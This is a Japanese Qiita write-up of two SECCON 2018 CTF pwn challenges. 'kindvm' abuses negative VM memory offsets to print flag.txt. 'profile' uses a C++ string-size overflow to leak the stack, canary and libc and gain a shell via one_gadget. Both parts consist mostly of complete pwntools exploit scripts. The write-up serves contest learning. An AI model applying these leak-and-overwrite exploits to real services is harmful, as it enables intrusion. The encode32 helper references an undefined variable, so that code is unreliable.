LoginSignup
2
2

More than 5 years have passed since last update.

SECCON 2018 Online CTF write up

Last updated at Posted at 2018-10-29

チームm1z0r3で出場してprofileとkindvmを解いたのでそのwrite-up

kindvm

名前を聞かれた後,専用のバイトコードを入力する.
loadstoreのメモリアクセスのオフセットに負数が使えるので,最初の名前をflag.txtにして,haltのときに表示されるbanner.txtへのポインタをflag.txtのポインタに書き換えればよい.

kindvm_memory.png

exploit.py
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

opcode_nop   = 0
opcode_load  = 1
opcode_store = 2
opcode_mov   = 3
opcode_add   = 4
opcode_sub   = 5
opcode_halt  = 6
opcode_in    = 7
opcode_out   = 8
opcode_hint  = 9

def encode16(word):
    if word < 0:
        word = 2**16 + word
    assert(0 <= word < 2**16)
    return chr(word >> 8) + chr(word & 0xff)

def encode32(dword):
    if dword < 0:
        dword = 2**32 + dword
    assert(0 <= dword < 2**32)
    return chr(word >> 24) + chr((dword >> 16) & 0xff) \
         + chr((dword >> 8) & 0xff) + chr(dword & 0xff)

def nop():
    return chr(opcode_nop)

def load(dst_reg, src_addr):
    return chr(opcode_load) + chr(dst_reg) + encode16(src_addr)

def store(dst_addr, src_reg):
    return chr(opcode_store) + encode16(dst_addr) + chr(src_reg)

def mov(dst_reg, src_reg):
    return chr(opcode_mov) + chr(dst_reg) + chr(src_reg)

def add(dst_reg, src_reg):
    return chr(opcode_add) + chr(dst_reg) + chr(src_reg)

def sub(dst_reg, src_reg):
    return chr(opcode_sub) + chr(dst_reg) + chr(src_reg)

def halt():
    return chr(opcode_halt)

def in_(dst_reg, dword):
    return chr(opcode_in) + chr(dst_reg) + encode32(dword)

def out(reg):
    return chr(opcode_out) + chr(reg)

def main():
    name   = -40
    banner = -36
    payload = load(0, name) + store(banner, 0)
    payload += halt()

    tube = remote('kindvm.pwn.seccon.jp', 12345)
    tube.recvuntil('name : ')
    tube.sendline('flag.txt')
    tube.recvuntil('instruction : ')
    tube.send(payload)
    tube.interactive()

if __name__ == '__main__':
    main()

profile

Please introduce yourself!
Name >> Mallory
Age >> 20
Message >> message

1 : update message
2 : show profile
0 : exit
>> 

C++で書かれたバイナリ.名前,年齢,メッセージを入力するとメニューが開く.名前とメッセージはC++のstringで確保されている.updateで上書きできる長さはmalloc_usable_size(string.c_str())で決まっていて,一見大きくはみ出して書き込むことができないように見える.しかし,stringは文字列が短い時は文字列本体をstringの内部におくので,これによってmalloc_usable_sizeで参照されるサイズが小さくなり,malloc_usable_sizeがめちゃくちゃ大きい数を返すようになる.
これでBOFができるようになったが,showでの出力がcoutを使っていて,stringのもとのサイズまでしか表示されない.なので,メッセージからリークするのではなく,BOFで名前のポインタを書き換えて名前からリークを行う.
まずは,BOFで名前のポインタを1byte書き換えて,スタックのアドレスをリークする.
profile_before.png
profile_after.png

これによって,ポインタをまるごと書き換えられるようになるので,それを使ってスタック上にあるcanary__libc_start_main+240をリークする.
__libc_start_main+240からlibcのアドレスがわかるので,BOFmainのリターンアドレスをone_gadgetに書き換えてシェルがとれる(systemはよくわからないけど失敗した).
なお,スタックのアドレスは下位bitも毎回ちょっと変わるので,何回か試行する必要がある.

exploit.py
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

binary_file = './profile'
libc_file   = 'libc.so.6'

binary = ELF(binary_file)
libc   = ELF(libc_file)

def main_menu(tube, n):
    tube.recvuntil('>> ')
    tube.sendline(str(n))

def update(tube, name):
    main_menu(tube, 1)
    tube.recvuntil('>> ')
    tube.sendline(name)

def show(tube):
    main_menu(tube, 2)
    tube.recvuntil('Name : ')
    return tube.recvuntil('\n')[:-1]

def bye(tube):
    main_menu(tube, 0)

leak_stack_gdb   = 0x7fffffffed20
stack_string_gdb = 0x7fffffffed10
canary_gdb       = 0x7fffffffed48
stack_rip_gdb    = 0x7fffffffed68
string_to_canary = canary_gdb - stack_string_gdb
string_to_rip    = stack_rip_gdb - stack_string_gdb
pop_rdi_ret      = 0x00401713

def main(one_gadget_offset):
    tube = remote('profile.pwn.seccon.jp', 28553)
# init
    tube.recvuntil('Name >> ')
    tube.sendline('Mallory')
    tube.recvuntil('Age >> ')
    tube.sendline('20')
    tube.recvuntil('Message >> ')
    tube.sendline('message')

# leak stack
    update(tube, 'a' * 0x10 + chr(0x20)) # LSB of stack addr may change
    data = show(tube)
    print(data)
    leak_stack_addr = u64(data.ljust(8, '\0'))
    stack_string = leak_stack_addr - leak_stack_gdb + stack_string_gdb
    print('stack_string = ' + hex(stack_string))
    assert(stack_string > 0)
    assert(stack_string % 0x10 == 0)

# leak canary
    update(tube, 'a' * 0x10 + p64(stack_string + string_to_canary + 1))
    canary = '\0' + show(tube)[:7]
    int_canary = u64(canary.ljust(8, '\0'))
    print('canary = ' + hex(int_canary))
    assert(int_canary > 0x600000)
    assert((int_canary & 0xff) == 0)

# leak libc
    update(tube, 'a' * 0x10 + p64(stack_string + string_to_rip))
    data = show(tube)
    libc_start_main_240 = u64(data.ljust(8, '\0'))
    libc_base = libc_start_main_240 - libc.symbols['__libc_start_main'] - 240
    print('libc_base = ' + hex(libc_base))
    assert((libc_base & 0xfff) == 0)
    one_gadget = libc_base + one_gadget_offset

# call system
    string = '\0' * string_to_canary + canary
    string = string.ljust(string_to_rip, '\0')
    update(tube, string + p64(one_gadget))
    bye(tube)
    tube.interactive()

if __name__ == '__main__':
    main(0x45216)

2
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
2